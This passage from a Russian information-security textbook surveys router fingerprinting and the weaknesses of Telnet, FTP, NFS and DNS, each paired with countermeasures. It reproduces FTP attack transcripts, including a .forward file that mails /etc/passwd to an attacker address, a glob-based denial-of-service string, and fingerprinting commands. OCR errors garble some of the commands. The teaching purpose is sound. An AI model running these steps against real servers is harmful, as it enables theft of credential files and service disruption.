портов, определению ОС, а также сбору любой дополнительной информации, которая может дать ключ ко взлому системы защиты устройства.
Сразу же дадим краткое отступление о защите от прослеживания маршрута. Для того чтобы запретить маршрутизатору отвечать на запросы со значением TTL больше допустимого или отправляемые из других сетей и разрешить прохождение ICMP-запросов, поступающих лишь из определенных доверенных сетей, есть специальные команды типа access-list для продуктов фирмы Cisco с параметрами permit и deny соответственно (в результате для устройства можно создать список доступа — Access List, ACL).
Далее с помощью утилиты типа nmap можно выяснить, какие порты маршрутизатора находятся в состоянии ожидания запросов. Ниже перечислены стандартные порты TCP и LJDP, используемые на самых популярных сетевых устройствах (более полный перечень находится по адресу http://www.securityparadigm.com/ defaultpw.htm). По комбинации обнаруженных портов часто можно судить о типе маршрутизатора. Правда, в различных реализациях комбинации портов могут отличаться от приведенных.
Устройство	TCP	UDP
Маршрутизаторы Cisco	21 (ftp) 23 (telnet) 79 (finger) 80 (http) 512 (exec) 513 (login) 514 (shell) 1993 (Cisco SNMP) 1999 (Cisco ident) 2001 4001 6001 9001 (XRemoute)	0 (tcpmux) 49 (domain) 67 (bootps) 69 (tftp) 123 (ntp) 161 (snmp)
Коммутаторы Cisco	23 (telnet) 7161	0 (tcpmux) 123 (ntp) 161 (snmp)
Маршрутизаторы Вау	21 (ftp) 23 (telnet)	7 (echo) 9 (discard) 67 (bootps) 68 (bootpc) 69 (tftp) 161 (snmp) 520 (route)
Маршрутизатор Ascend	23 (telnet)	7(echo) 9(discard) 161 (snmp) 162(snmp-trap) 514(shell) 520(route)
Характерной особенностью большинства маршрутизаторов Cisco является также наличие приглашения User Access Verification при подключении к портам vty (23 и 2001). Если связаться с ними с помощью утилиты Telnet, то появится приглашение ввести пароль. Можно также попытаться просканировать TCP-порт с номером 1999
210
Информационная безопасность открытых систем
(например, так: шпар -nvv -pl999 Х.Х.Х.Х), если на нем нет соответствующего запрета. Затем с помощью специального ПО нужно перехватить ответный пакет RST/ACK. Среди данных этого пакета можно обнаружить слово "cisco".
Однако в некоторых случаях обнаружения только ожидаемых открытых портов недостаточно. Тогда помогут некоторые дополнительные проверки, характерные именно для предполагаемого устройства. Так, например, на некоторые запросы служба finger компании Cisco может выдавать совершенно бесполезную (для пользователя или администратора, но не для злоумышленника) информацию. Виртуальные терминалы vty Cisco (обычно с номером 5) отвечают на простой запрос "finger -1 @<хост>". Сам ответ не важен, но факт получения ответа свидетельствует о наличии маршрутизатора Cisco.
Еще одним методом получения информации является обращение к портам 2001, 4001 и 6001, которые в маршрутизаторах Cisco предназначены для управления устройством. С помощью утилиты netcat взломщик может подключиться к любому из этих портов и проверить, будет ли получена какая-либо информация от хоста. В большинстве случаев полученный ответ трудно назвать информацией. Но если подключиться к этим портам с помощью браузера, указав, например, адрес типа 172.29.11.254:4001, то результат для устройств Cisco может выглядеть следующим образом: "User Verification Password: Password: Password: & Bad passwords".
Мероприятия по защите маршрутизатора проводятся с целью предотвращения атак, направленных на нарушение схемы маршрутизации или на захват маршрутизатора злоумышленником. В общем случае они таковы:
	использовать последние версии и обновления ПО, следить за бюллетенями по безопасности, выпускаемыми производителем;
	использовать аутентификацию сообщений протоколов маршрутизации с помощью алгоритма MD5;
	осуществлять фильтрацию маршрутов, объявляемых сетями-клиентами, провайдером или другими автономными системами (фильтрация выполняется в соответствии с политикой маршрутизации организации; маршруты, не соответствующие политике, игнорируются);
	использовать на маршрутизаторе, а также на коммутаторах статическую ARP-таблицу узлов сети организации;
	отключить на маршрутизаторе все ненужные сервисы (особенно так называемые диагностические или малые сервисы TCP: echo, chargen, daytime, discard, и UDP: echo, chargen, discard);
	ограничить доступ к маршрутизатору консолью или выделенной рабочей станцией администратора, использовать парольную защиту; не использовать Telnet для доступа к маршрутизатору в сети, которая может быть прослушана.
И другое каналообразующее оборудование, например, коммутаторы и концентраторы, имеет подобные уязвимости, позволяющие злоумышленникам, как и в вышеописанных случаях, взять управление над этими устройствами. Чаще всего они подвержены атакам типа "отказ в обслуживании". Уязвимости коммутаторов и маршрутизаторов (в том числе уязвимости VLAN, VPN и MPLS, протоколов маршрутизации RIP, BGP, EIGRP и OSPF, управляющих протоколов SNMP и STP, протоколов туннелирования GRE и т. д.) могут не только вывести из строя отдельные сетевые устройства и даже сегменты, но и открыть доступ к конфиденциальной информации.
3. Уязвимость открытых систем на примере интранета
211
3.4. Слабости системных утилит, команд и сетевых сервисов
В Интернете и интранете потенциальные проблемы нарушения ИБ могут возникнуть при обращении ко многим предоставляемым легальным пользователям сервисам. Даже наиболее часто применяемые утилиты могут доставить много хлопот, будучи неправильно используемыми или неверно сконфигурированными. Важно знать обо всех проблемах, которые могут быть связаны с какой-либо утилитой прежде, чем запускать ее на своем компьютере. Это знание поможет вовремя предотвратить или по крайней мере заметить нападение.
Для достижения желаемых целей злоумышленник должен использовать уязвимости системных утилит, команд и сервисов, которые являются дефектом, позволяя осуществить НСД.
Уязвимость может возникать по трем причинам. Наиболее известная причина -это программная ошибка, которая является проблемой реализации, т. е. сам проект или алгоритм корректен, но допущена ошибка при его реализации в виде ПО или настройки оборудования. Вторая причина - это недостатки непосредственно проекта, что потенциально более серьезно и трудно исправить. В этом случае уязвимость свойственна проекту (алгоритму) и, следовательно, даже совершенная реализация проекта в ПО или оборудовании не избавит от заложенной в проекте уязвимости. Третья причина возникновения уязвимости - это ошибки конфигурации. Здесь существует множество вариантов. Многие поставщики предоставляют клиентам свое ПО в "доверенном" состоянии, которое является удобным для пользователей, но уязвимо для нападения. Ошибки конфигурации включают такие проблемы защиты, как системные учетные записи и пароли с известными значениями по умолчанию, разрешенная по умолчанию "запись всем", уязвимые сервисы, установленные по умолчанию, и т. п.
К типовым для современных сетей сервисам относят следующие:
1)	электроннаую почту, реализованную на базе протокола SMTP — простого протокола передачи почты, используемого для приема и передачи электронной почты;
2)	Telnet - эмуляцию удаленного терминала, используемаю для подключения к удаленным системам, присоединенным к сети;
3)	FTP - протокол передачи файлов, используемый для приема или передачи файлов между системами в сети;
4)	DNS - службу сетевых имен, которая используется Telnet, FTP и другими сервисами для трансляции имен хостов в IP-адреса;
5)	информационные сервисы, такие, как WWW, с протоколом передачи гипертекста (http) и программами-браузерами Netscape, Microsoft Internet Explorer и Mosaic в качестве клиентских программ (для интранета, в котором обязательно используется веб-технология, этот пункт особенно важен!);
6)	сервисы на основе RPC, такие, как NFS (сетевая файловая система, позволяющая системам совместно использовать директории и диски, при этом удаленная директория или диск кажутся находящимися на локальной машине) и NIS (сетевые информационные сервисы, позволяющие нескольким системам совместно использовать БД, например файл паролей, для централизованного управления ими);
212
Информационная безопасность открытых систем
7)	систему X Window - графическую оконную среду и набор прикладных библиотек, используемых на рабочих станциях;
8)	rlogin, rsh и другие r-команды, реализующие концепцию доверяющих друг другу хостов, позволяющие выполнять команды на других компьютерах, не вводя пароля.
Ниже выделены уязвимости этих наиболее часто применяемых утилит, команд и сервисов Интернета, а также указаны средства для устранения перечисленных уязвимостей. Все эти средства безопасности реализуются как дополнение к основным протоколам и могут вводиться по желанию пользователей в зависимости от требуемого уровня безопасности или доверительности к промежуточным системам при передаче информации.
3.4.1.	TELNET
Telnet используется для установления соединения между компьютерами в сети. Это терминальный сервис, предназначенный для терминального доступа на удаленный компьютер с использованием транспортного протокола TCP. Сам по себе он не представляет проблем. Проблема в том, что он открывает хост для удаленного доступа. Когда устанавливается сеанс с удаленным хостом, используя Telnet, пароль пользователя передается по Интернету в незашифрованном виде. Вторая опасность заключается в том, что атакующий может подключиться к уже существующей Telnet-сессии. Для этого применяется техника, которая называется session hijacking (перехват уже установленных сеансов связи). И в-третьих, удаленные пользователи способны нарушить полномочия на доступ к данным.
По умолчанию Telnet пробует соединяться с удаленным хостом, используя порт 23. Но Telnet способен соединяться с любым портом, открытым на удаленном хосте. Telnet может применяться для спуффинга или входа в системы через слабые места используемых протоколов. Один старый пример - это команда WIZ, которая обыкновенно присутствовала в sendmail. Можно войти с помощью Telnet на порт sendmail, начиная сеанс связи с удаленным демоном sendmail, и в результате получать доступ к командному интерпретатору с правами суперпользователя. Другие примеры — это переполнения стека различных программ, запускаемых Интернет-сервером inetd. Хотя все эти примеры используют слабости других допустимых программ, средством доступа к ним является Telnet.
Некоторые версии Telnet могут выполнять неинтерактивные команды. Если на удаленном компьютере существует файл .telnetrc, то команды Telnet для этого файла будут выполняться так, как будто они были набраны вручную по запросу Telnet. Есть версии Telnet, которые используют Kerberos-аутентификацию; другие версии используют шифрование, но это все же исключения. Об этом можно узнать, прочитав руководство для работающей в системе версии Telnet. Без шифрования Telnet посылает все команды открытым текстом, делая тем самым сеансы Telnet уязвимыми для сниффера.
Если работающая в системе версия демона Telnet - telnetd - поддерживает аутентификацию или шифрование, то эти параметры записываются в файле /etc/inetd.conf, что создает более безопасный Telnet. Независимо от того, поддерживает или нет telnetd аутентификацию или шифрование, Telnet должен "заворачиваться" в программы типа TCP-wrappers, что по крайней мере позволяет осуществлять отслежива
3. Уязвимость открытых систем на примере интранета
213
ние (трекинг) соединений. Применение wrappers также позволяет ограничивать входящие подключения Telnet, используя файлы /etc/hosts.allow и /etc/hosts.deny. Так как Telnet - отдельная цель сканирующего порты ПО, бдительный системный администратор может просматривать файлы регистрации и впоследствии отключать соединения от узлов или доменов, от которых никто не должен подключаться.
Представим список некоторых проблем с Telnet, замеченных в оболочке root сети X [53]:
	многие переключатели ЗСот содержат незадокументированный "люк" для пароля Telnet;
	использование старой уязвимости telnetd для DEC OSF/1 (v2.0-3.2c);
	использование libcrypt.so/ RDL ROOT telnetd env var root для систем IRIX;
	маршрутизация источников Telnet;
	программа атаки Solaris 2.5 box, делающая ее безответной для totaddy;
	ряд скриптов на perl, запускающих команды ftp и telnet через МЭ; определение порта и установление шлюза Telnet, затрудняющего отслеживание Telnet; получение части копии файла (shadow) w/cores на Linux;
	"обратный" Telnet от блока позади МЭ, что допускает ICMP-пакеты;
	неизвестный вход в систему на базе Telnet;
	вскрытый демон telnet, дающий оболочке root w/о-пароль;
	создание общедоступной библиотеки, которая предоставляет root оболочку локально или удаленно;
	определение порта и установление шлюза Telnet, затрудняющего отслеживание Telnet; использование доступного всем на запись /etc/utmp и позволяющего пользователю изменять его в интерактивном режиме; программы типа ps Is и ampdu, модифицируемые для сокрытия некоторых файлов и атр-процессов.
Примером может являться и уязвимость, найденная в 2002 г. в Telnet-сервере, использующемся в ОС Windows 2000. Через нее существует угроза проведения атаки на компьютер посредством вызова в Telnet-сервере ошибки переполнения буфера, в результате чего может быть нарушена работа Telnet-сервера, а в некоторых случаях злоумышленник сможет получить доступ к исполнению программного кода на удаленной машине. Данная проблема решается с помощью пакета исправлений для Windows 2000 (Windows 2000 Security Roll-up Package 1).
3.4.2.	FTP
Протокол передачи файлов (File Transfer Protocol, FTP) может быть одной из наиболее безопасных утилит Интернета, но если он неправильно сконфигурирован, то может стать и самой незащищенной. Использование анонимного FTP является в Интернете основой для передачи миллионов байт данных в день и обычно не доставляет хлопот. Однако если FTP-сервер хоть в чем-нибудь неправильно сконфигурирован, то злоумышленник сможет воспользоваться этим, чтобы проникнуть на чужой хост и далее изменять или удалять, а также незаконно распространять информацию или ПО. Пользователь может загрузить файлы, пытаясь заполнить жесткий диск компьютера или вывести из строя сервер, загрузить "троянскую" программу или заменить важные файлы конфигурации сервера на исправленные им.
FTP-спецификация содержит множество механизмов, которые могут использоваться для обхода систем безопасности. Спецификация FTP дает возможность поль
214
Информационная безопасность открытых систем
зователю установить FTP-соединение и пересылать файлы между двумя FTP-серверами или с сервера на другой компьютер. Этот механизм применяется для уменьшения полезного трафика в сети и особенно эффективен при использовании медленного соединения (например, модема). Технология, известная как proxy FTP, вызывает хорошо известные проблемы защиты. Proxy FTP вызывает проблему, известную как bounce attack, - атакующий может открыть соединение на порт по своему выбору на машине, которая, возможно, не является истинным клиентом. FTP-спецификация позволяет провести неограниченное число попыток по вводу пароля пользователя. Это позволяет провести подбор пароля. Ошибки в конфигурировании FTP-сервера могут позволить злоумышленнику изменять или удалять, а также незаконно распространять информацию или ПО.
Также в связи с FTP возникает следующая важная проблема - блокирование входящих соединений гораздо проще, чем исходящих.
FTP обычно устанавливается в ограниченной среде с корневым каталогом, измененным, например, на /home/ftp. Пользователь анонимного FTP-сервиса будет ограничен только FTP-каталогом и его подкаталогами; при этом системный файл паролей будет недоступен. Если корневой каталог FTP не отделен от других каталогов или если ОС не позволяет этого, то предоставление FTP-доступа может привести к серьезным проблемам. Возможен выход за пределы корневой директории с помощью .Ink-файлов в FTP-серверах (directory traversal). Поместив на сервер ярлык (.Ink), можно получить доступ к файлу, находящемуся за пределами корневой папки FTP. Если пользователь имеет право на запись в каталогах, доступных через FTP, то могут возникнуть большие проблемы в том случае, если пользователь применит команду PUT для записи нового файла типа .rhosts или подобного ему в личный каталог пользователя. Файл .rhosts содержит список имен пользователей и хостов, для которых любая команда удаленного выполнения принимается без аутентификации (установления подлинности пользователя). Это может быть чревато неприятными последствиями (например, подключением к системе с помощью утилиты rlogin) либо для хоста, либо для тех, кто пользуется данным FTP-хостом. Поэтому пользователь анонимного FTP никогда не должен иметь права записи во всей структуре каталогов, чтобы в интранете не возникало новых несанкционированных файлов. В данном случае опасность кроется в ошибке при копировании файла паролей в директорию анонимного сервера FTP. Без файла паролей в директории /etc/ftp FTP не разрешает доступ к архиву, реальные пароли программы в этом файле не нужны, поэтому администратор обязан их "вычистить".
Некоторые FTP-серверы, например WU-FTPD (версии до 2.6.1), имели "дырку", позволяющую получить права root [http://www.OPENNET.ru/wwwboard/messages/ 4417.html]. Эта ошибка связана с неправильной проверкой аргументов в нескольких вызовах функций, обеспечивающих возможность использования на узле ограниченного набора команд. Однако при этом взломщик может применить специальные форматы вывода символов, используемые функцией printf() (%f, %р, %п и т. д.), и выполнить произвольный код с привилегиями root. При этом игнорировалась проверка IP-адресов вторичных соединений, инициированных клиентом. Это означает, что передачи в пассивном режиме не только уязвимы против атак, аналогичных атакам в активном режиме (включая какой-либо тип доступа клиента или "угадывание" номера последовательности Sequence Number), но и обычного TCP-соединения из
3. Уязвимость открытых систем на примере интранета
215
любого места сети достаточно, чтобы перехватить данные или подменить данные. Атакующему достаточно угадать TCP-порт, который сервер будет слушать в следующем сеансе передачи данных и постоянно обстреливать его попытками соединений. Если сервер попытается послать данные клиенту, они будут посланы атакующему. И наоборот, если атакующий может послать данные на сервер, подменяя данные, которые собирался передать клиент.
Атакующий желает произвести сканирование порта хоста и может это сделать анонимно через FTP-сервер, который выступает в качестве этапа сканирования. Хост "жертвы" видит сканирование, исходящее от FTP-сервера, а не истинный источник (FTP-клиент). При некоторых обстоятельствах, эта техника представляет атакующему большие преимущества - скрытие реального источника исследования. Когда предположительная "жертва" в этой подсети является FTP-сервером, или когда не фильтруется трафик, исходящий с FTP-сервера, атакующий может использовать сервер как источник сканирования портов, что предпочтительней, чем компьютер клиента. Таким образом удается обойти ограничение доступа.
В определенных конфигурациях сети атакующий может обойти МЭ (или другую ограничивающую защиту). Например, допустим, что хост имеет анонимный FTP-сервер за МЭ. Используя вышеуказанную технологию сканирования портов, атакующий определяет, что внутренний веб-сервер на этом хосте находится на 8080 порту. Порт обычно блокируется МЭ. Атакующий инициирует дальнейшее соединение между FTP-сервером и произвольным портом на внутренней машине на хосте (например, внутренний веб-сервер на 8080 порту). В результате он устанавливает соединение с машиной, которая в противном случае защищается МЭ.
Анонимный FTP-сервис может также служить легким способом получения доступа, поскольку его часто неправильно конфигурируют. Например, система может иметь полную копию файла /etc/passwd в каталоге -flp/etc вместо урезанной версии.
Рассмотрим типичные атаки на FTP [http://www.hackdocs.host.kz/ 0082.htm].
1.	Получение прав администратора на FTP.
bash# ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd -root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> Is -al
2.	Получение файла /etc/passwd.
bash# cat myforwardjile
"cat /etc/passwd | /bin/mail hacker@mail.ru"
bash# ftp victim.com
Connected to victim.com
220 victim FTP server ready
Name (victim.com:hacker):ftp
331 Guest login ok, send you e-mail as password.
Password:
216	Информационная безопасность открытых систем
230 Guest login ok, access restrictions apply.
ftp> Is -I
220 PORT command succesful.
150 Opening ASCII mode data connection for 7bin/ls'.(192.168.1.1,2335) (0 bytes) total 4
dr-xr-xr-x 2 root operator 512 Feb 28 2000 bin
dr-xr-xr-x 2 root operator 512 Sep 18 2000 etc
drwxrwxrwt 13 root operator 1024 Jul 1 00:55 incoming
drwxr-xr-x 3 root operator 512 Feb 1910:25 pub
226 T ransfer complete.
ftp>put myforwardjile .forward
ftp>quit
bash# echo 'You a hacked' | mail ftp@victim.com
Домашний каталог специального пользователя FTP делается доступным для записи. Это позволяет послать по почте самому себе файл /etc/passwd атакуемой машины. Нужно просто создать файл .forward в домашнем каталоге ftp, который выполняется, когда пользователю FTP посылается почта [44]. Если у демона достаточно прав на то, чтобы прочитать /etc/passwd, то можно ожидать его прихода на указанный почтовый ящик.
3.	DoS-атака на ftpd.
bash-2.05$ ftp victim.com Connected to victim.com. 220 victim.com FTP server (Version 6.00) ready. Name (victim.conrhacker): ftp
331 Guest login ok, send your email address as password.
Password:
230- Welcome to victim.com FTP server!
230 Guest login ok, access restrictions apply.
Remote system type is Unix.
ftp> Is 7../7../7../7../7../7../7../7../7../7../7../7../*ЛС
bash# ftp victim.com
Error:425 Run out of memory
Команда
ls7../7../7../7../7../7../7../7../7../7../7../7../‘
приводит к "подвисанию" сервера с большим потреблением памяти и процессорного времени. Переполнение буфера при работе с функцией glob(); - при разборе пути запрошенного файла. Уязвимые системы: FreeBSD 4.2, OpenBSD 2.8, NetBSD 1.5, IRIX 6.5, HP-UX 11.00, Solaris 8.
4.	Получение файла с правами root.
the-7 00:48:46 hanirc $ 50 ftp -d 127.0.0.1
Connected to 127.0.0.1.
220 the-7.net FTP server (Version 6.00LS) ready.
Name (127.0.0. Fab): test
—> USER test
331 Password required tor test.
Password:
-> PASS XXXX
230 User test logged in.
3. Уязвимость открытых систем на примере интранета
217
-> SYST
215 Unix Type: L8 Version: BSD-199506
Remote system type is Unix.
Using binary mode to transfer files.
ftp>cd/roo?
---> CWD /roo?
250 CWD command successful.
ftp> pwd
-> PWD
257 "/root" is current directory.
ftp> dir ?
--> PORT 127,0,0,1,193,69
200 PORT command successful.
-> LIST ?
150 Opening ASCII mode data connection for '/bin/ls'.
-rwxr-xr-x 1 ab user 497 Dec 20 2000 p
226 T ransfer complete.
ftp> get ?
local: ? remote: ?
-> TYPE I
200 Type set to I.
-> SIZE ?
213 497
--> PORT 127,0,0,1,193,70
200 PORT command successful.
->RETR ?
150 Opening BINARY mode data connection for 'p' (497 bytes).
100% |**’*‘*‘************«*‘**««*«*****’**«**«‘«*‘***“*| 497 oo:oo ETA 226 Transfer complete.
497 bytes received in 0.00 seconds (1.66 MB/s)
--> MDTM ?
213 20001219211442
ftp>
Рекомендаций по защите можно дать несколько.
1.	Для некоторых FTP-серверов предпочтительно ограничить доступ на основе сетевых адресов. Например, можно ограничить доступ к определенным файлам с определенных мест (например, если файл не должен выходить за пределы организации). В таком случае сервер должен проверить сетевой адрес перед посылкой такого файла. Ограничение доступа по сетевому адресу оставляет сервер уязвимым для spoofing-атак. В такой атаке машина взломщика может присвоить себе адрес другой машины и скачать недоступные вне организации файлы.
2.	Чтобы исключить подбор пароля, нужно ограничить число попыток ввода правильного пароля. После трех—пяти попыток сервер должен закрыть соединение, послав перед этим код возврата 421 ("Service not available, closing control connection.”). Также рекомендуется установить 5-секундную паузу перед ответом, что пароль неверен. Обход этой технологии возможен при множестве параллельных соединений с сервером. Для борьбы с этим необходимо ограничить максимально возможное число соединений. Однако это приводит к возможности DoS-атак.
218
Информационная безопасность открытых систем
3.	Поскольку все данные (включая пароли), отправляемые по FTP, посылаются через сеть в незашифрованном виде, то для обеспечения конфиденциальности информации там, где это возможно, нужно использовать шифрование.
4.	Стандартный FTP выдает сообщение "530" на ввод неверного имени пользователя по команде "USER". Если имя пользователя верно и нужно далее ввести пароль, FTP возвращает сообщение "331". Для того чтобы взломщик не смог определить имена пользователей, FTP должен всегда отвечать сообщением "331” на команду "USER”.
5.	Необходимо оценить необходимость использования FTP-сервера и определить, нужно ли предоставлять возможность анонимного доступа к нему. В таких случаях для защиты сервера необходимо предпринять специальные меры.
6.	Очень важно установить самые последние версии модулей обновлений, а также запретить или как минимум ограничить количество каталогов, в которые разрешена запись всем пользователям (лучше и вовсе отказаться от таких каталогов).
Обобщая меры безопасности для протоколов Telnet и FTP, перечислим их: конфиденциальность и целостность для коммуникаций с установлением соединений, аутентификация субъектов коммуникаций и контроль доступа на основе идентификации субъекта коммуникаций. Эти сервисы могут быть полностью обеспечены на прикладном уровне модели ВОС, однако целесообразно использовать некоторые механизмы на более низких уровнях, в частности используя специальные защищенные протоколы сетевого и транспортного уровней NLSP (Network Layer Security Protocol), SSL (Secure Socket Layer) и TLSP (Transport Layer Security Protocol). При этом устраняется дублирование сервисов на более высоких уровнях, однако возникает необходимость введения новых программных модулей в ядро ОС.
3.4.3.	NFS
Сетевая файловая система (Network File System) является способом, с помощью которого хосты могут совместно использовать дисководы, директории и файлы всей сети. NFS, первоначально разработанная Sun Microsystems для своих рабочих станций, теперь доступна для широкого круга компьютеров - от большинства Unix-систем до ПК, работающих под DOS. NFS позволяет пользователям иметь доступ к файлам сервера даже без регистрации на этом компьютере. NFS использует 32-бай-товый пакет, называемый файловым указателем. Подключившись к файловому указателю, злоумышленник получает важную информацию обо всех файлах, расположенных в разных директориях на ПК, составляющих интранет.
В основе NFS лежит протокол RPC. Первым источником слабостей этого протокола является протокол дейтаграмм пользователей UDP, работающий с прикладным ПО. UDP обеспечивает возможность простой передачи дейтаграмм без обнаружения потерянных данных и сохранения порядка следования сообщений. Поэтому легко сгенерировать сообщение с фиктивным адресом отправителя. Типичное NFS-сообщение содержит запрос либо на считывание блока данных из файла, либо на запись блока данных в файл. Большинство NFS-транзакций считаются не имеющими состояния. Это означает, что повторное (переданное еще раз) сообщение всегда может быть обработано сервером службы NFS и результат будет правильным. Атакующий может построить UDP-сообщение, содержащее RPC-заголовок, идентифицирующий пользователя, авторизованного на доступ к некоторым конфиденциальным
3. Уязвимость открытых систем на примере интранета
219
данным. Затем он конструирует соответствующий NFS-запрос для реальной манипуляции данными. NFS-сервер не сможет выявить подделку.
Существуют средства, позволяющие взломщику подсоединить NFS-каталоги без соответствующего разрешения со стороны сервера. Некоторые из этих пакетов используют старые ошибки NFS, в то время как другие просто выискивают и используют файловые указатели. В любом случае злоумышленники имеют возможность подсоединить каталоги и копировать файлы на сервер и с него.
NFS представляет определенные возможности по НСД к информации. Во-первых, как и в большинстве случаев, это ошибки администратора системы. В директории /etc, в системах Unix, расположен файл exports, в котором администратор прописывает директории для удаленного монтирования и права доступа к ним. Например, это может выглядеть так:
/usr/local/pub -г 144.206.160.40
/usr/iocal/dima dima.polyn.kiae.su
/usr/temp
Первая строчка разрешает монтирование на чтение директории /usr/local/pub с компьютера с адресом 144.206.160.40, вторая строчка разрешает монтирование директории /usr/local/dima с правами перезаписи на ПК с именем dima.polyn.kiae.su, директория /usr/temp открыта для монтирования всем пользователям из внешнего мира. NFS была разработана для Unix-систем, где всегда существует администратор и обычные пользователи. Предполагается, что монтирование осуществляет администратор системы. Но, используя средства типа PC-NFS или РС/ТСР, смонтировать удаленную файловую систему может и простой пользователь. Чтобы получить реальные права доступа к информации, он должен зарегистрироваться, а это означает пересылку идентификатора и пароля по каналам связи.
Другим источником проколов в системе безопасности может быть наличие символьных ссылок, которые назначаются по команде In. Указывая на другую область файловой системы, такая ссылка расширяет возможность проникновения за пределы смонтированной файловой системы или директории, что может привести к несанкционированному доступу к информации.
Наконец, злоумышленник может воспользоваться тем, что NFS "доверяет" portmapper (эта программа проверяет, какие приложения сервиса RPC для построения распределенных систем, например клиент-серверных приложений и выполнения на одном компьютере подпрограмм с другого компьютера, являются доступными и на каких портах), а это значит, что можно пройти и здесь, если получить доступ к этой программе.
Главная рекомендация при использовании NFS состоит в том, что надо прописывать всех пользователей и их права доступа и не следует делать открытых всему миру монтируемых файловых систем. Также можно запрещать пакеты, направленные на порты 2048 и 2049 - порты данных для NFS. Есть возможность использования так называемых защищенных RPC с применением шифрования и криптографически защищенной аутентификации. Хорошая идея защитить порты nfs и portmap с помощью МЭ. Работает nfsd на порту 2049, используя оба протокола - UDP и TCP. Portmapper по умолчанию работает на порту 111 (tcp и udp), a mountd работает на портах 745 и 747 (tcp и udp). Нужно проверить номера используемых портов, применив команду rpcinfo -р. Если нужно использовать NFS при наличии МЭ (как говорят, сквозь МЭ),
220
Информационная безопасность открытых систем
то известны опции для новых версий nfsd и mountd. В этом случае будут задействованы нестандартные порты, которые можно с этой целью открыть на МЭ.
3.4.4.	DNS
Чаще других используются два сервиса директорий система доменных имен (Domain Name System, DNS) и Х.500. Средства безопасности и необходимые протоколы хорошо определены для Х.500. Так, широкое применение находит система распределения и сертификации открытых ключей Х.509. Однако нет хорошо разработанной концепции и специальных механизмов безопасности для DNS (кроме RFC 1535).
Необходимыми средствами безопасности для службы директорий являются аутентификация происхождения данных и целостность данных для запросов и ответов. Контроль доступа необходим для защиты хранимых в директории данных от модификации и раскрытия неавторизованными пользователями. Общей рекомендацией может быть использование в Интернете для защиты директорий средств Х.500 на прикладном уровне и соответствующих протоколов более низких уровней. Попытки реализовать необходимые средства безопасности для DNS посредством сервисов и механизмов более низких уровней не дают достаточной защищенности.
Рассмотрим подробнее DNS. Система доменных имен - это распределенная БД, обеспечивающая преобразование IP-адреса в имя хоста, а также определяющая системы электронной почты и сервера имен для домена. Такое преобразование необходимо, так как на сетевом уровне адресация пакетов осуществляется не по именам, а по IP-адресам.
Установка БД DNS не так трудна, однако неудачная конфигурация может блокировать доступ во внешнюю сеть или доступ удаленных пользователей на сервер. Поддержка файлов DNS - тоже не сложная, но требующая от администратора определенных навыков задача. Изменения в DNS должны быть доступны только администраторам, так как DNS содержит всю информацию о топологии сети и может служить путеводителем по ней, что очень нужно взломщику для определения потенциальных "жертв" НСД.
DNS-алгоритм удаленного поиска IP-адреса по имени выглядит так: хост посылает на IP-адрес DNS-сервера своего домена (он задается при настройке протокола IP в сетевой ОС) DNS-запрос, в котором указывает имя сервера, IP-адрес которого необходимо найти; а DNS-сервер, получив запрос, просматривает свою базу имен на наличие в ней содержащегося в запросе имени. Если найдены имя и соответствующий ему IP-адрес, на запросивший хост DNS-сервер отправляет DNS-ответ с записью искомого IP-адреса. Если указанное в запросе имя DNS-сервер не обнаружил в своей базе имен, то DNS-запрос отсылается DNS-сервером на один из вышестоящих DNS-серверов, адреса которых содержатся в файле настроек DNS-сервера root.cache, и описанная процедура повторяется, пока имя не будет найдено (или не найдено). Уязвимость этой схемы удаленного поиска с помощью протокола DNS описывается типовой удаленной атакой "ложный объект распределенной вычислительной системы" (подробное описание приведено в п. 4.1.3). С помощью такой атаки удается внедрить промежуточный хост, через который будет идти поток информации между атакуемым объектом и сервером (например, Telnet-сервером).
3. Уязвимость открытых систем на примере интранета
221
По умолчанию DNS функционирует на базе протокола UDP (хотя возможно и использование протокола TCP), что, естественно, делает ее менее защищенной, так как протокол UDP, в отличие от TCP, вообще не предусматривает средств идентификации сообщений. Это требует от администратора сети специальных знаний и несколько снижает скорость работы системы, так как при использовании TCP требуется создание виртуального соединения, а конечные сетевые ОС вначале посылают DNS-запрос с помощью протокола UDP. Значение поля "порт отправителя" в UDP-пакете вначале принимается равным 1023, а затем увеличивается с каждым переданным DNS-запросом. В случае передачи DNS-запроса с хоста значение идентификатора (ID) DNS-запроса зависит от конкретного сетевого приложения, генерирующего DNS-запрос.
Подстановка ложных доменных имен - один из самых громких методов осуществления злонамеренных действий в Интернете. Именно с помощью этого способа в 1996 г. хакеры разукрасили веб-страницы ЦРУ и Министерства юстиции США. Необходимо отметить, что хотя наиболее известные нападения с использованием подстановки ложных доменных имен приходятся на атаки веб-серверов с общедоступной информацией, подстановка доменных имен позволяет также перехватывать любую интересующую злоумышленника информацию, в том числе и параметры аутентификации доверительных пользователей атакуемого сервера.
Приходится признать, что подстановка ложных доменных имен является, возможно, одним из самых опасных и в то же время самым трудно диагностируемым методом осуществления преступных замыслов в Интернете. Эта атака организуется с помощью ряда сетевых протоколов и приложений, устанавливающих доверительные отношения на основе доменных имен хостов. К таким приложениям относятся NFS, NIS, SMTP, X, rsh, rlogin, rep и отчасти ftp и rexec (когда задействованы конфигурационные файлы типа $HOME/.netrc). Смысл атаки сводится к взлому одного или нескольких DNS-серверов сети Интернет, изменению базы данных, отвечающей за преобразование Интернет-адреса в IP-адрес, и, возможно, рассылке искаженной информации по другим DNS-серверам сети Интернет.
Наиболее сложным этапом в осуществлении метода подмены доменных имен можно назвать взлом одного из Unix-серверов, являющегося сервером доменных имен. Причем этот сервер не обязательно должен быть DNS-сервером той зоны, в которой находится атакуемый компьютер. Для взлома DNS-сервера злоумышленник может использовать совершенно различные способы. Если же злоумышленник является техническим служащим компании, поддерживающей DNS-сервер, то его задача невероятно облегчается. Получив контроль над DNS-сервером, злоумышленник проводит изменения в четырех файлах, являющихся БД программы поиска доменных адресов: named. Имена этих файлов указаны в файле конфигурации /etc/named.boot и обозначаются как db.*. Подставив в этих файлах IP-адрес компьютера-ловушки в логическое имя атакуемого компьютера, злоумышленник может перехватывать все сообщения, адресованные атакуемому компьютеру. Если же взломанный DNS-сервер лежит вне пути прохождения IP-пакетов от доверительного клиента к атакуемому компьютеру, злоумышленник может применить следующий прием. Создав во взломанной БД DNS дополнительный, вымышленный адрес, злоумышленник отправляет письмо по этому адресу из зоны, близкой к доверительному клиенту. Сервер DNS зоны 